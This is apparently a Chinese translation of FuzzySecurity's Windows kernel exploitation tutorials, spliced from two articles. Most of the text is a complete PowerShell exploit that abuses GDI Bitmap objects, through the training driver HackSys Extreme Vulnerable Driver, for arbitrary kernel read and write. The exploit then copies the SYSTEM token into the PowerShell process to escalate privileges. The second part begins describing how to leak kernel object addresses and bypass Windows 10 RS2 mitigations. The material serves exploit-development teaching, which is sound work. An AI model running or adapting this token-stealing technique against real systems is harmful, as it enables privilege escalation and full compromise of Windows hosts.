$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [EVD]::LoadLibrary("$KernelType")
$PsInitialSystemProcess = [EVD]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
$SystemEprocess = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase}
$CallResult = [EVD]::FreeLibrary($KernelHanle)
echo "[+] _EPORCESS list entry: 0x$("{0:X}" -f $SystemEprocess)"
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该地址理应持有一个指向system EPROCESS结构的指针，让我们手动验证它。
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如果我们把这一逻辑增添到exp中，我们就可以利用Bitmap-Read函数来拷贝system token。还有另外一个需要关心的事，EPROCESS结构体是未文档化的，它变化的相当频繁因此我们需要写一个switch语句来控制不同系统（32/64位）上的不同偏移。我推荐你看一看@rwfpl最精彩的 Terminus项目，它不止一次的帮助过我。switch语句应该像下面这样，注意到它包含了到ActiveProcessLinks的偏移，我们即将用到。

# _EPROCESS UniqueProcessId/Token/ActiveProcessLinks offsets based on OS
# WARNING offsets are invalid for Pre-RTM images!
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
    '10.0' # Win10 / 2k16
    {
        if(!$x32Architecture){
            $UniqueProcessIdOffset = 0x2e8
            $TokenOffset = 0x358          
            $ActiveProcessLinks = 0x2f0
        } else {
            $UniqueProcessIdOffset = 0xb4
            $TokenOffset = 0xf4          
            $ActiveProcessLinks = 0xb8
        }
    }
 
    '6.3' # Win8.1 / 2k12R2
    {
        if(!$x32Architecture){
            $UniqueProcessIdOffset = 0x2e0
            $TokenOffset = 0x348          
            $ActiveProcessLinks = 0x2e8
        } else {
            $UniqueProcessIdOffset = 0xb4
            $TokenOffset = 0xec          
            $ActiveProcessLinks = 0xb8
        }
    }
 
    '6.2' # Win8 / 2k12
    {
        if(!$x32Architecture){
            $UniqueProcessIdOffset = 0x2e0
            $TokenOffset = 0x348          
            $ActiveProcessLinks = 0x2e8
        } else {
            $UniqueProcessIdOffset = 0xb4
            $TokenOffset = 0xec          
            $ActiveProcessLinks = 0xb8
        }
    }
 
    '6.1' # Win7 / 2k8R2
    {
        if(!$x32Architecture){
            $UniqueProcessIdOffset = 0x180
            $TokenOffset = 0x208          
            $ActiveProcessLinks = 0x188
        } else {
            $UniqueProcessIdOffset = 0xb4
            $TokenOffset = 0xf8          
            $ActiveProcessLinks = 0xb8
        }
    }
}


有了正确的偏移，就可以添加到exp上了。

# Get EPROCESS entry for System process
echo "`n[>] Leaking SYSTEM _EPROCESS.."
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [EVD]::LoadLibrary("$KernelType")
$PsInitialSystemProcess = [EVD]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
$SysEprocessPtr = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase}
$CallResult = [EVD]::FreeLibrary($KernelHanle)
echo "[+] _EPORCESS list entry: 0x$("{0:X}" -f $SysEprocessPtr)"
$SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr
echo "[+] SYSTEM _EPORCESS address: 0x$("{0:X}" -f $(Bitmap-Read -Address $SysEprocessPtr))"
echo "[+] PID: $(Bitmap-Read -Address $($SysEPROCESS+$UniqueProcessIdOffset))"
echo "[+] SYSTEM Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)))"
$SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)
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注意到token减了1，这是因为token成员是一个_EX_FAST_REF结构，它的最后一位用于引用计数，尽管我们无需担忧这一行为。一个完整的提权过程要先找到PowerShell的EPROCESS结构体，然后用泄露出来的SYSTEM的token来覆盖它。这就是ActiveProcessLinks成员的作用了。EPROCESS结构组成了一个链表，它通过ActiveProcessLinks成员来链入，该成员内部包含了一个_LIST_ENTRY([IntPtr]Flink, [IntPtr]Blink)成员，存储了前后两个EPROCESS结构体的地址。我们所需要做的就是遍历该链表，直到我们找到PowerShell进程对应的EPROCESS结构，此后进行token覆盖。下面的代码展示了这一技巧。

# Get EPROCESS entry for current process
echo "`n[>] Leaking current _EPROCESS.."
echo "[+] Traversing ActiveProcessLinks list"
$NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
while($true) {
    $NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset)
    if ($NextPID -eq $PID) {
        echo "[+] PowerShell _EPORCESS address: 0x$("{0:X}" -f $NextProcess)"
        echo "[+] PID: $NextPID"
        echo "[+] PowerShell Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))"
        $PoShTokenAddr = $NextProcess+$TokenOffset
        break
    }
    $NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
}
 
# Duplicate token!
echo "`n[!] Duplicating SYSTEM token!`n"
Bitmap-Write -Address $PoShTokenAddr -Value $SysToken


游戏结束

下面的exploit可以在32位和64位的Windows 7-10上运行。如果遇到了问题，请留下评论。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct SYSTEM_MODULE_INFORMATION
{
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
    public UIntPtr[] Reserved;
    public IntPtr ImageBase;
    public UInt32 ImageSize;
    public UInt32 Flags;
    public UInt16 LoadOrderIndex;
    public UInt16 InitOrderIndex;
    public UInt16 LoadCount;
    public UInt16 ModuleNameOffset;
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]
    internal Char[] _ImageName;
    public String ImageName {
        get {
            return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0];
        }
    }
}
 
[StructLayout(LayoutKind.Sequential)]
public struct _PROCESS_BASIC_INFORMATION
{
    public IntPtr ExitStatus;
    public IntPtr PebBaseAddress;
    public IntPtr AffinityMask;
    public IntPtr BasePriority;
    public UIntPtr UniqueProcessId;
    public IntPtr InheritedFromUniqueProcessId;
}
 
/// Partial _PEB
[StructLayout(LayoutKind.Explicit, Size = 256)]
public struct _PEB
{
    [FieldOffset(148)]
    public IntPtr GdiSharedHandleTable32;
    [FieldOffset(248)]
    public IntPtr GdiSharedHandleTable64;
}
 
[StructLayout(LayoutKind.Sequential)]
public struct _GDI_CELL
{
    public IntPtr pKernelAddress;
    public UInt16 wProcessId;
    public UInt16 wCount;
    public UInt16 wUpper;
    public UInt16 wType;
    public IntPtr pUserAddress;
}
 
public static class EVD
{
 
    [DllImport("ntdll.dll")]
    public static extern int NtQueryInformationProcess(
        IntPtr processHandle, 
        int processInformationClass,
        ref _PROCESS_BASIC_INFORMATION processInformation,
        int processInformationLength,
        ref int returnLength);
 
    [DllImport("ntdll.dll")]
    public static extern int NtQuerySystemInformation(
        int SystemInformationClass,
        IntPtr SystemInformation,
        int SystemInformationLength,
        ref int ReturnLength);
 
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);
 
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool VirtualFree(
        IntPtr lpAddress,
        uint dwSize,
        uint dwFreeType);
 
    [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
    public static extern IntPtr LoadLibrary(
        string lpFileName);
       
    [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
    public static extern IntPtr GetProcAddress(
        IntPtr hModule,
        string procName);
 
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool FreeLibrary(
        IntPtr hModule);
 
    [DllImport("gdi32.dll")]
    public static extern IntPtr CreateBitmap(
        int nWidth,
        int nHeight,
        uint cPlanes,
        uint cBitsPerPel,
        IntPtr lpvBits);
 
    [DllImport("gdi32.dll")]
    public static extern int SetBitmapBits(
        IntPtr hbmp,
        uint cBytes,
        byte[] lpBits);
 
    [DllImport("gdi32.dll")]
    public static extern int GetBitmapBits(
        IntPtr hbmp,
        int cbBuffer,
        IntPtr lpvBits);
}
"@
 
#==============================================[PEB]
 
# Flag architecture $x32Architecture/!$x32Architecture
if ([System.IntPtr]::Size -eq 4) {
    echo "`n[>] Target is 32-bit!"
    $x32Architecture = 1
} else {
    echo "`n[>] Target is 64-bit!"
}
# Current Proc handle
$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
# Process Basic Information
$PROCESS_BASIC_INFORMATION = New-Object _PROCESS_BASIC_INFORMATION
$PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION)
$returnLength = New-Object Int
$CallResult = [EVD]::NtQueryInformationProcess($ProcHandle, 0, [ref]$PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION_Size, [ref]$returnLength)
# PID & PEB address
echo "`n[?] PID $($PROCESS_BASIC_INFORMATION.UniqueProcessId)"
if ($x32Architecture) {
    echo "[+] PebBaseAddress: 0x$("{0:X8}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32())"
} else {
    echo "[+] PebBaseAddress: 0x$("{0:X16}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64())"
}
# Lazy PEB parsing
$_PEB = New-Object _PEB
$_PEB = $_PEB.GetType()
$BufferOffset = $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64()
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
$PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB)
# GdiSharedHandleTable
if ($x32Architecture) {
    echo "[+] GdiSharedHandleTable: 0x$("{0:X8}" -f $PEBFlags.GdiSharedHandleTable32.ToInt32())"
} else {
    echo "[+] GdiSharedHandleTable: 0x$("{0:X16}" -f $PEBFlags.GdiSharedHandleTable64.ToInt64())"
}
# _GDI_CELL size
$_GDI_CELL = New-Object _GDI_CELL
$_GDI_CELL_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($_GDI_CELL)
 
#==============================================[/PEB]
 
#==============================================[Bitmap]
 
echo "`n[>] Creating Bitmaps.."
 
# Manager Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$ManagerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Manager BitMap handle: 0x$("{0:X}" -f [int]$ManagerBitmap)"
if ($x32Architecture) {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
    $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
    $ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30
    echo "[+] Manager pvScan0 pointer: 0x$("{0:X8}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30))"
} else {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
    $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
    $ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50
    echo "[+] Manager pvScan0 pointer: 0x$("{0:X16}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50))"
}
 
# Worker Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$WorkerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Worker BitMap handle: 0x$("{0:X}" -f [int]$WorkerBitmap)"
if ($x32Architecture) {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
    $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
    $WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30
    echo "[+] Worker pvScan0 pointer: 0x$("{0:X8}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30))"
} else {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
    $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
    $WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50
    echo "[+] Worker pvScan0 pointer: 0x$("{0:X16}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50))"
}
 
#==============================================[/Bitmap]
 
#==============================================[GDI ring0 primitive]
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
# [IntPtr]$WriteWhatPtr->$WriteWhat + $WriteWhere
#---
[IntPtr]$WriteWhatPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.BitConverter]::GetBytes($WorkerpvScan0).Length)
[System.Runtime.InteropServices.Marshal]::Copy([System.BitConverter]::GetBytes($WorkerpvScan0), 0, $WriteWhatPtr, [System.BitConverter]::GetBytes($WorkerpvScan0).Length)
if ($x32Architecture) {
    [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt32()) + [System.BitConverter]::GetBytes($ManagerpvScan0)
} else {
    [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt64()) + [System.BitConverter]::GetBytes($ManagerpvScan0)
}
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200B"
[EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
#==============================================[/GDI ring0 primitive]
 
#==============================================[Leak loaded module base addresses]
 
[int]$BuffPtr_Size = 0
while ($true) {
    [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
    $SystemInformationLength = New-Object Int
 
    # SystemModuleInformation Class = 11
    $CallResult = [EVD]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
     
    # STATUS_INFO_LENGTH_MISMATCH
    if ($CallResult -eq 0xC0000004) {
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
        [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
    }
    # STATUS_SUCCESS
    elseif ($CallResult -eq 0x00000000) {
        break
    }
    # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
    else {
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
        echo "[!] Error, NTSTATUS Value: $('{0:X}' -f ($CallResult))`n"
        return
    }
}
 
$SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION
$SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType()
if ([System.IntPtr]::Size -eq 4) {
    $SYSTEM_MODULE_INFORMATION_Size = 284
} else {
    $SYSTEM_MODULE_INFORMATION_Size = 296
}
 
$BuffOffset = $BuffPtr.ToInt64()
$HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
$BuffOffset = $BuffOffset + [System.IntPtr]::Size
 
$SystemModuleArray = @()
for ($i=0; $i -lt $HandleCount; $i++){
    $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
    $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION)
     
    $HashTable = @{
        ImageName = $Cast.ImageName
        ImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()}
        ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)"
    }
     
    $Object = New-Object PSObject -Property $HashTable
    $SystemModuleArray += $Object
 
    $BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size
}
 
# Free SystemModuleInformation array
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
 
#==============================================[/Leak loaded module base addresses]
 
#==============================================[Duplicate SYSTEM token]
 
# _EPROCESS UniqueProcessId/Token/ActiveProcessLinks offsets based on OS
# WARNING offsets are invalid for Pre-RTM images!
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
    '10.0' # Win10 / 2k16
    {
        if(!$x32Architecture){
            $UniqueProcessIdOffset = 0x2e8
            $TokenOffset = 0x358          
            $ActiveProcessLinks = 0x2f0
        } else {
            $UniqueProcessIdOffset = 0xb4
            $TokenOffset = 0xf4          
            $ActiveProcessLinks = 0xb8
        }
    }
  
    '6.3' # Win8.1 / 2k12R2
    {
        if(!$x32Architecture){
            $UniqueProcessIdOffset = 0x2e0
            $TokenOffset = 0x348          
            $ActiveProcessLinks = 0x2e8
        } else {
            $UniqueProcessIdOffset = 0xb4
            $TokenOffset = 0xec          
            $ActiveProcessLinks = 0xb8
        }
    }
  
    '6.2' # Win8 / 2k12
    {
        if(!$x32Architecture){
            $UniqueProcessIdOffset = 0x2e0
            $TokenOffset = 0x348          
            $ActiveProcessLinks = 0x2e8
        } else {
            $UniqueProcessIdOffset = 0xb4
            $TokenOffset = 0xec          
            $ActiveProcessLinks = 0xb8
        }
    }
  
    '6.1' # Win7 / 2k8R2
    {
        if(!$x32Architecture){
            $UniqueProcessIdOffset = 0x180
            $TokenOffset = 0x208          
            $ActiveProcessLinks = 0x188
        } else {
            $UniqueProcessIdOffset = 0xb4
            $TokenOffset = 0xf8          
            $ActiveProcessLinks = 0xb8
        }
    }
}
 
# Arbitrary Kernel read
function Bitmap-Read {
    param ($Address)
    $CallResult = [EVD]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
    [IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40)
    $CallResult = [EVD]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer)
    if ($x32Architecture){
        [System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer)
    } else {
        [System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer)
    }
    $CallResult = [EVD]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000)
}
 
# Arbitrary Kernel write
function Bitmap-Write {
    param ($Address, $Value)
    $CallResult = [EVD]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
    $CallResult = [EVD]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value))
}
 
# Get EPROCESS entry for System process
echo "`n[>] Leaking SYSTEM _EPROCESS.."
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [EVD]::LoadLibrary("$KernelType")
$PsInitialSystemProcess = [EVD]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
$SysEprocessPtr = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase}
$CallResult = [EVD]::FreeLibrary($KernelHanle)
echo "[+] _EPORCESS list entry: 0x$("{0:X}" -f $SysEprocessPtr)"
$SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr
echo "[+] SYSTEM _EPORCESS address: 0x$("{0:X}" -f $(Bitmap-Read -Address $SysEprocessPtr))"
echo "[+] PID: $(Bitmap-Read -Address $($SysEPROCESS+$UniqueProcessIdOffset))"
echo "[+] SYSTEM Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)))"
$SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)
 
# Get EPROCESS entry for current process
echo "`n[>] Leaking current _EPROCESS.."
echo "[+] Traversing ActiveProcessLinks list"
$NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
while($true) {
    $NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset)
    if ($NextPID -eq $PID) {
        echo "[+] PowerShell _EPORCESS address: 0x$("{0:X}" -f $NextProcess)"
        echo "[+] PID: $NextPID"
        echo "[+] PowerShell Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))"
        $PoShTokenAddr = $NextProcess+$TokenOffset
        break
    }
    $NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
}
 
# Duplicate token!
echo "`n[!] Duplicating SYSTEM token!`n"
Bitmap-Write -Address $PoShTokenAddr -Value $SysToken
 
#==============================================[/Duplicate SYSTEM token]
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  Welcome file
  





  第十八篇：内核利用程序之RS2 Bitmap巫术

fuzzySecurity于16年更新了数篇Windows内核exp的教程，本文是内核篇的第九篇。点击查看原文。


欢迎来到另一个Windows内核exp开发系列！自上次一别，已是三秋。我已然在我的 PSKernel-Primitives repo上开源了一些精炼的代码，所以如果你对PowerShell内核pwn感兴趣的话就点个star。

今天我们挖出最喜欢的Windows10 RS2上的Bitmap内核溯源(kernel primitive)。我们跳过RS1，此前我已经发过博文给@mwrlabs，其中详述了如何在周年纪念版本中去绕过新的缓解机制，文章在这里here。

我们将使用两种不同的技术来从桌面堆(desktop heap)中泄露Windows对象，此后将使用那些对象，来泄露Bitmap。我强烈推荐你先看看下面的这些资料以了解背景知识。罢了，不跟你多BB，开始吧！


	
Win32k Dark Composition: Attacking the Shadow part of Graphic subsystem (Peng Qui & SheFang Zhong => 360Vulcan) - here



	
LPE vulnerabilities exploitation on Windows 10 Anniversary Update (Drozdov Yurii & Drozdova Liudmila) - here



	
Morten Schenk’s tweet revealing the first technique :D (@Blomster81) - here



	
Abusing GDI for ring0 exploit primitives: reloaded (@NicoEconomou & Diego Juarez) - here



	
A Tale Of Bitmaps: Leaking GDI Objects Post Windows 10 Anniversary Edition (@FuzzySec) - here



	
PSKernel-Primitives (@FuzzySec) - here



	
Windows RS2 HmValidateHandle Write-What-Where (@FuzzySec) - here





阻止泄露

我们简单的列出微软用于防止Bitmap泄露而实现的各种缓解机制，同时会说明它们分别该如何绕过。主版本在下面给出作为参考。

Windows 10 v1511


	当前没有缓解措施。

	利用从PEB中拿到的GdiSharedHandleTable句柄，找到正确的GDI_CELL结构体并读出pKernelAddress，它揭示了Bitmap SURFOBJ的内核地址。可以在这里查看一个简单的示例 here.。



Windows 10 RS1 v1607


	微软将GDI_CELL结构体中的pKernelAddress置空，老技术从此失效。

	研究者发现了这样一些对象，它们和我们所垂涎的Bitmap放在相同的内存池中（分页内存池），且可以被泄露。可以通过利用user32来获取gSharedInfo（一个全局变量）的地址，读取出aheList HANDLEENTRY数组的地址，找到正确的那个数组项并最终读出phead成员来获取该对象的内核地址。尽管我们无法直接读出bitmap对象的地址，但通过使用一个较大的尺寸(ensuring the would end up in a low entropy large pool)精心构造/泄露对象并执行一个UAF风格的攻击，就可以使得Bitmap分配在被释放掉的原始对象的位置。可以在这里看到一个简单的示例here。



Windows 10 RS2 v1703


	你不知道吗，微软把phead指针也置空了，上述方法也从此失效。

	本文中我们将讨论如何利用用户映射的桌面堆来泄露Windows对象，和此前做法相似，执行一个UAF风格的攻击来重新溯源Bitmap(primitive)！
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Leak 1 => TEB.Win32ClientInfo

我们想做的第一件事就是去泄露tagWND和tagCLS Window结构体的内核地址。我们将以Morten的泄露手法开始，它提供了更好的背景去理解第二部分泄露。

下面的推文给予了我们所有的细节来从用户映射的桌面堆中泄露出地址，同时也告诉了我们如何去t通过用户模式版本计算出内核模式版本(ulClientDelta)的偏移量。
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看起来指向用户模式版本的指针被存在TEB.Win32ClientInfo+0x28的位置，而指向内核模式版本的指针存在该地址偏移0x28处的更远的地方。Client delta即是内核地址减去用户地址。我们可以简单的把脚本编在一起来获取这个数据。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
[StructLayout(LayoutKind.Sequential)]
public struct _THREAD_BASIC_INFORMATION
{
    public IntPtr ExitStatus;
    public IntPtr TebBaseAddress;
    public IntPtr ClientId;
    public IntPtr AffinityMask;
    public IntPtr Priority;
    public IntPtr BasePriority;
}
 
public static class TEB
{
    [DllImport("ntdll.dll")]
    public static extern int NtQueryInformationThread(
        IntPtr hThread, 
        int ThreadInfoClass,
        ref _THREAD_BASIC_INFORMATION ThreadInfo,
        int ThreadInfoLength,
        ref int ReturnLength);
 
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetCurrentThread();
}
"@
 
# Pseudo handle => -2
$CurrentHandle = [TEB]::GetCurrentThread()
 
# ThreadBasicInformation
$THREAD_BASIC_INFORMATION = New-Object _THREAD_BASIC_INFORMATION
$THREAD_BASIC_INFORMATION_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($THREAD_BASIC_INFORMATION)
 
$RetLen = New-Object Int
$CallResult = [TEB]::NtQueryInformationThread($CurrentHandle,0,[ref]$THREAD_BASIC_INFORMATION,$THREAD_BASIC_INFORMATION_SIZE,[ref]$RetLen)
 
$TEBBase = $THREAD_BASIC_INFORMATION.TebBaseAddress
$TEB_Win32ClientInfo = [Int64]$TEBBase+0x800
$TEB_UserKernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64([Int64]$TEBBase+0x828)
$TEB_KernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap+0x28)
 
echo "`n[+] _TEB.Win32ClientInfo:     $('{0:X16}' -f $TEB_Win32ClientInfo)"
echo "[+] User Mapped Desktop Heap: $('{0:X16}' -f $TEB_UserKernelDesktopHeap)"
echo "[+] Kernel Desktop Heap:      $('{0:X16}' -f $TEB_KernelDesktopHeap)"
echo "[+] ulClientDelta:            $('{0:X16}' -f ($TEB_KernelDesktopHeap-$TEB_UserKernelDesktopHeap))`n"


运行POC，给出如下输出。
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我们可以简单的在KD中证实。
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对桌面堆的分析超出了本文的范围，更多信息可以参考here。

扫描桌面堆

很好，下一步就是创建一个Window对象并扫描桌面堆来找到它。微软在Windows 8之后不再公开tagWND&tagCLS的符号了，所以我们只好在Windows 7上看看 。
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如我们所见，tagWND的2第一个IntPtr值是Window句柄（通过CreateWindow/Ex返回）。同时也注意到tagWND->THRDESKHEAD->pSelf是一个指向内核中tagWND的指针，我们实际上可以通过内核tagWND的地址减去用户tagWND的地址来计算出ulClientDelta。最后一点需要注意的是tagWND&tagCLS结构体在Windows 10 RS2中有一些变化。通过简单的逆向我们找到了一些变更的相对偏移。

x64 Pre RS2 (15063)


	
Window handle => 0x0



	
pSelf => 0x20



	
pcls => 0x98



	
